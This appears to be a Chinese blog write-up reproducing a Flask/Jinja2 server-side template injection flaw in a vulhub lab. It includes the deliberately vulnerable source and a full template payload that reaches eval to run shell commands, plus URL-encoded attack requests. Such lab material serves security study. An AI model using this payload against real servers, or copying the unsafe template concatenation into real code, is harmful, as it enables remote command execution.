天天看點

Flask(Jinja2) 服務端模闆注入漏洞複現簡介漏洞概述環境搭建漏洞複現修複建議

簡介

Flask 是一個使用 Python 編寫的輕量級 Web 應用架構。其 WSGI 工具箱采用 Werkzeug ,模闆引擎則使用 Jinja2 。

漏洞概述

其中采用jinja2模闆引擎傳遞參數,在書寫不規範的時候會發生jinja模闆文法的注入指令執行

環境搭建

這裡使用vulhub進行搭建

位址:

https://github.com/vulhub/vulhub/tree/master/flask/ssti
           
進入目錄并編譯運作測試環境

cd vulhub-master/flask/ssti/

docker-compose build

docker-compose up -d
           
Flask(Jinja2) 服務端模闆注入漏洞複現簡介漏洞概述環境搭建漏洞複現修複建議

通路your-ip:8000即可看到頁面

Flask(Jinja2) 服務端模闆注入漏洞複現簡介漏洞概述環境搭建漏洞複現修複建議

漏洞複現

flask/ssti後端源碼

from flask import Flask, request 
from jinja2 import Template 

app = Flask(__name__) 

@app.route("/") 
def index(): 
name = request.args.get('name', 'guest') 

t = Template("Hello " + name) 
return t.render() 

if __name__ == "__main__": 
app.run()
           

可以看到name變量完全可控

通路http://your-ip/?name={{233*233}},得到54289,說明SSTI漏洞存在。

Flask(Jinja2) 服務端模闆注入漏洞複現簡介漏洞概述環境搭建漏洞複現修複建議

擷取eval函數并執行任意python代碼的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
           

通路

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
           
Flask(Jinja2) 服務端模闆注入漏洞複現簡介漏洞概述環境搭建漏洞複現修複建議

通路

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22whoami%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
           
Flask(Jinja2) 服務端模闆注入漏洞複現簡介漏洞概述環境搭建漏洞複現修複建議

成功執行指令

修複建議

更新到安全版本

繼續閱讀